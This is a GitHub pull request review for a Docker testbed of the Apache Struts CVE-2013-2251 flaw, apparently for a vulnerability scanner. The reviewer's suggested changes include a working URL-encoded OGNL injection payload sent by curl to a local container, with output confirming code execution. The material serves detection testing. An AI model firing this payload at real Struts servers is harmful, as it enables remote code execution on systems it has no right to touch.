Testbeds/CVE-2013-2251 - #232
Open
sanjaymahajan14 wants to merge 1 commit into
Open
Conversation
hemantadil
approved these changes
Jul 28, 2026
robert-doyensec
suggested changes
Aug 13, 2026
robert-doyensec
left a comment
There was a problem hiding this comment.
Changes to make the containers more consistent with each other and add curl commands to test the vulnerability
| services: | ||
| # --------------------------------------------------------- | ||
| # VULNERABLE INSTANCE (Port 8080) | ||
| # Uses the VulApps image vulnerable to CVE-2013-2251 |
There was a problem hiding this comment.
Suggested change
| # Uses the VulApps image vulnerable to CVE-2013-2251 | |
| # Downloads the official Struts 2.3.15 vulnerable release on boot |
| # Uses the VulApps image vulnerable to CVE-2013-2251 | ||
| # --------------------------------------------------------- | ||
| struts2-vuln: | ||
| image: docker.io/medicean/vulapps:s_struts2_s2-016 |
There was a problem hiding this comment.
Suggested change
| image: docker.io/medicean/vulapps:s_struts2_s2-016 | |
| image: tomcat:8.5-jre8 |
| container_name: struts2-vuln | ||
| ports: | ||
| - "8080:8080" | ||
| restart: always |
There was a problem hiding this comment.
Suggested change
| restart: always | |
| command: > | |
| bash -c " | |
| curl -fsSL https://repo1.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15/struts2-showcase-2.3.15.war -o /usr/local/tomcat/webapps/ROOT.war && | |
| catalina.sh run | |
| " | |
| restart: always |
| ```bash | ||
| docker compose up -d struts2-vuln | ||
| ``` | ||
|
|
There was a problem hiding this comment.
Suggested change
| ### Testing the vulnerability | |
| ``` | |
| curl -X POST 'localhost:8080/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" | |
| ``` | |
| Response: | |
| ``` | |
| tsunami1787569 | |
| ``` |
|
|
||
| ```bash | ||
| docker compose up -d struts2-safe | ||
| ``` No newline at end of file |
There was a problem hiding this comment.
Suggested change
| ``` | |
| ``` | |
| ### Testing the vulnerability | |
| ``` | |
| curl -X POST 'localhost:8081/default.action' -d "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27tsunami%27%2b%281337*1337%29%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1" | |
| ``` | |
| Response: | |
| ``` | |
| ... | |
| <title>Struts2 Showcase</title> | |
| ... | |
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Added testbed for CVE-2013-2251. Please review.